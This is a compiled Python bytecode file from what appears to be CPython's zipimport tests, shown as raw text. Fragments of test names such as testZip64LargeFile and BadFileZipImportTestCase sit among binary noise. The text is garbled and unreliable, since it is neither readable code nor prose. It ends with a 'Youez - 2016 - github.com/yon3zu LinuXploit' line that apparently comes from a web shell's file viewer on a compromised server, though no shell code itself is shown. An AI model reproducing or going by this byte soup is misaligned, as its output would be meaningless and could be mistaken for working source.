4SjnU"S5 U"S5 SSS5 TRASS5 g!,(df   GN3=f!,(df   GN�=fs snf!,(df   GMB=f!,(df   N�=f!,(df   Nn=f) N�	largefileztest generates files >rz# bytes and takes a long time to run�sparse-zip64-c�dz	-0x*.part�cpuz+test requires a lot of CPU for compression.rXsdata)�r�rrF)rt�strict_timestamps�data1z	module.py�i�r	r	rrr�data2c	�>�Sn[US5nSnUR5nUR[U55nU(dO�XQ:wa�U(d�[R
R
[STRSSUSS35n[R"[R
RU5SS	9 [US
5n[SU5 URU5 OU(aUR5 SnM�U(aUR5 SSS5 g!U(aUR5 ff=f!,(df   g=f)NsrvTr�r��-z#011xz.part)�exist_okrX�Created)rc�tellryr�r$r&r^�
TEST_DATA_DIRrtrarb�printrd�close)rg�
empty_pager}�part�offsetr�
part_fullnamer?s       �r�make_sparse_zip_parts�OUncompressedZipImportTestCase.testZip64LargeFile.<locals>.make_sparse_zip_partsQs���)�
��$��%���D�)�"�%&�V�V�X�F�#$�6�6�#�j�/�#:�D�#'� %�#�1�'+�46�G�G�L�L�(5�*8��9I�9I�!�8L�A�+1�%�.��)?�5&�M�
%'�K�K�(*�����
�(F�15�%&�,0�
�t�+D�D�$)�)�]�$C� $�
�
�4� 0�#'�$(�J�J�L�'+��-#�0 � �J�J�L�9&�%��6 � �J�J�L� ��7&�%�s#�D>�C-D!�D>�!D;�;D>�>
Ez'Creating sparse parts to check in into �:c��[R"SU5=n(a[URS5SS9$[	SU<S35e)Nz-(0x[0-9a-f]{9})\.part$r	�)�basezname=z does not fit expected pattern.)�re�searchr�group�
ValueError)rg�ms  r�extract_offset�HUncompressedZipImportTestCase.testZip64LargeFile.<locals>.extract_offsetvsC���	�	�"<�d�C�C�1�C��q�w�w�q�z��3�3� �E�D�7�*I�!J�K�Kr rv�rz	Recreate z, unexpected contents.)r�c�>�TRU5nTRURS5 TRURS5 g)Nr�r)�getinfor��	date_time�
assertGreater�	file_size)rgr�r?r|s  ��r�assertDataEntry�IUncompressedZipImportTestCase.testZip64LargeFile.<locals>.assertDataEntry�s9����I�I�d�O�E��$�$�U�_�_�6K�L��&�&�u����Dr r0rw)!r�requiresrtr$r&r^r��globrYrrwr�rr�rcrd�linesep�encode�seek�SEEK_CUR�utimerr�rr�r��sorted�SEEK_SETryr�r�r�r�)r?�
parts_glob�full_parts_glob�pre_built_zip_partsr}r�r�r��offset_partsr��part_fnr�rr|s`            @r�testZip64LargeFile�0UncompressedZipImportTestCase.testZip64LargeFiles�������$�Z�L�1�
�	
�"&�d�&6�&6�q�%9��C�
��'�'�,�,�}�j�A��"�i�i��8�����	�(�(�(�3�"����:�-�� � ��A��
�O�O�I�,�,�i�.>�.>�?��i�&�&��-������ �����
�
�)�)�+�,����{�B�K�K�0�����
�
�)�)�+�,�	.�

�H�H�Y�%�%�z�2���� �,�,�"'�	�
����	�(�(�'�2��
�
��K�)>�?������	�(�(�'�2��
)�@���:�-��?�
��a�P�Q�%�h�/��
L�=P�P�<O�q�^�A�.��2�<O�L�P��h��%��'-�l�';�O�F��g�t�,�����v�r�{�{�3�����	�	��,�-�,�(<�&���3�'�1�� � ��I�I�k�*�4�4�6K��� � ��F�F�;�'����):�#�O�#4�4J�K�!��E� ��(���(�(�	
�"�"�5�(�3�i.�-�����pQ�-�,��&�%��(�'�sR�BO�A!O�O$�+O<�AO)�O<�,A9P
�
O�
O!�)
O9�3	O<�<
P
�
PrK)@rFrGrHrIrrtr@rrjr�r~rxr�r�r�r�r�r�r�r��unittest�mock�patchr�r�r�r�r�r�r�rrrr!rCrPrSrYrerirorrrxr|rr�r�r�r�r�r�r��skipIfrr�r�r�r�r�r�r�r�rrJrKr rrMrMUs����K�,�'/�#�&&.���4�t�B��(26�b�(�$<�A�$(��
;�@�B+�-�-�
6��]�]���5�x�@�6�A�6�*�+�
=�+�+�7�B�	B�KF�ZGF�R:8�x@�@B�61F�f
6�	8�-� ,�>�I�K�:�

%�,�%�-�@�,A��_�_�Y�1�1�T�9�3�5�%�5�%�
E�?�O�K�(�L�r4r rMc��\rSrSr\rSrg)�CompressedZipImportTestCasei�rKN)rFrGrHrIr	rtrJrKr rrr�s���Kr rc��\rSrSrSrSrSrSrSrSr	\
R"\RS5S	5rS
rSrSrg
)�BadFileZipImportTestCasei�c�b�UR[R[RU5 gr6)rmrRr�r(r�s  r�assertZipFailure�)BadFileZipImportTestCase.assertZipFailure�s#�����)�2�2�#�/�/��	;r c�&�URS5 g)N�AdfjdkFJKDFJjdklfjs�rr>s r�
testNoFile�#BadFileZipImportTestCase.testNoFile�s�����3�4r c�&�URS5 g)Nrlr r>s r�testEmptyFilename�*BadFileZipImportTestCase.testEmptyFilename�s�����b�!r c	�*�UR[[RS5 UR[[R[SS9 UR[[R[[R"[555 g)N)�kwd)rmr�rRr(r�rr$r�r>s r�testBadArgs�$BadFileZipImportTestCase.testBadArgs�s`�����)�Y�%:�%:�D�A����)�Y�%:�%:�G���N����)�Y�%:�%:��r�{�{�7�3�4�	6r c�,�URSS-5 g)N�Ai�r r>s r�testFilenameTooLong�,BadFileZipImportTestCase.testFilenameTooLong�s�����c�E�k�*r c��[R"[5 [R"[5 UR	[5 gr6)rrwr��create_empty_filerr>s r�
testEmptyFile�&BadFileZipImportTestCase.testEmptyFile�s,������!��#�#�G�,����g�&r zmode 000 not supported.c�>�[R"[5 [R"[[R
S5n[R"U5 UR[R5n[R"[5 SSS5 [R"[S5 [R"[5 g!,(df   ND=f![R"[S5 [R"[5 f=f)Nri�)rrwr�r$rc�O_CREATr�rmrRr�r(�chmod)r?�fd�cms   r�testFileUnreadable�+BadFileZipImportTestCase.testFileUnreadable�s�������!�
�W�W�W�b�j�j�#�
.��		&��H�H�R�L��"�"�9�#;�#;�<���%�%�g�.�=�

�H�H�W�e�$����W�%�
=�<��

�H�H�W�e�$����W�%�s$�5C%�;C�C%�
C"�C%�%7Dc���[R"[5 [[S5nUR	S5 UR5 UR
[5 g)N�w+�aaaaaaaaaaaaaaaaaaaaaa)rrwr�rcrdr�r)r?ris  r�testNotZipFile�'BadFileZipImportTestCase.testNotZipFile�s?������!�
�'�4�
 ��
�����
���
����g�&r c�Z�[R"[5 [[S5nUR	[
R"SS55 UR	S5 UR5 [R"[5n[R"5 [R"S[5 UR[UR S5 SSS5 UR[UR"S5 UR[UR$S5 UR[UR&S5 UR[UR(S5 UR[UR*S5 UR[UR,S5 UR[UR.S5 [R0nUR3UR%S55 [R"5 [R"S[5 URX2R S5 SSS5 URX2R*S5 UR[4UR,S5 URX2R.S5 URX2R(S5 [R6R95 g!,(df   GN=f!,(df   N�=f![R6R95 f=f)Nr:z=IiPK�aaaaaaaaaaaaaaaaaar'�abc)rrwr�rcrdrrr�rRr(r,r-r.r/rmr�r0�find_moduler2r7r+�get_codercr9r�r8�OSErrorrSr;)r?rir|�errors    r�_testBogusZipFile�*BadFileZipImportTestCase._testBogusZipFile�s������!�
�'�4�
 ��
������T�:�.�/�
�����
���
��!�!�'�*��	3��(�(�*��%�%�h�0B�C��!�!�)�Q�]�]�D�A�+�
���i�����=����i����d�;����i�����=����i����t�<����i����T�:����i����T�:����i����t�<��,�,�E����a�k�k�%�0�1��(�(�*��%�%�h�0B�C��!�!�%����>�+�
���e�Z�Z��7����g�q�z�z�5�9����e�\�\�5�9����e�\�\�5�9��*�*�0�0�2�-+�*��+�*��
�*�*�0�0�2�s>�
L
�"=K'�D4L
�8K9�A=L
�'
K6�1L
�9
L�L
�
 L*rKN)rFrGrHrIrr!r$r(r,r0rrr�is_wasir7r<rErJrKr rrr�sO��;�5�"�6�+�'�
�_�_�W�_�_�&?�@�&�A�&�'�3r rc�8�[R"[5 gr6)rrwr�rKr r�tearDownModulerI�s��
���W�r �__main__)Er7r$rrr�importlib.utilr�rr�r�
unittest.mockr,rlr�test.supportrr�zipfilerrrr	rRrPr�rur��	tracebackr
rrr�r�r�r�r�r�rr'r�r�r�r�rr
r�r�rr&rrr�r^rbrr�r�cache_from_source�pyc_filer��TestCaser3rM�
requires_zlibrrrIrF�mainrKr r�<module>rUs���
�	�����	�
������&�"�>�>�����	�9�9������(�G�V�
,��/�	��%��i�i�k���G�S�#�h�-�0�����������	��	�
�7�7�?�?�;�'��
�7�7�?�?�?�+�������R�W�W�_�_�X�6�8H�I�
��>�>�+�+�G�e�O�<��
��<�h�/�/�<�"{4�$;�{4�|	�����"?����O3�x�0�0�O3�d��z���M�M�O���e���D��s�.F.�.F:�9F:

Youez - 2016 - github.com/yon3zu
LinuXploit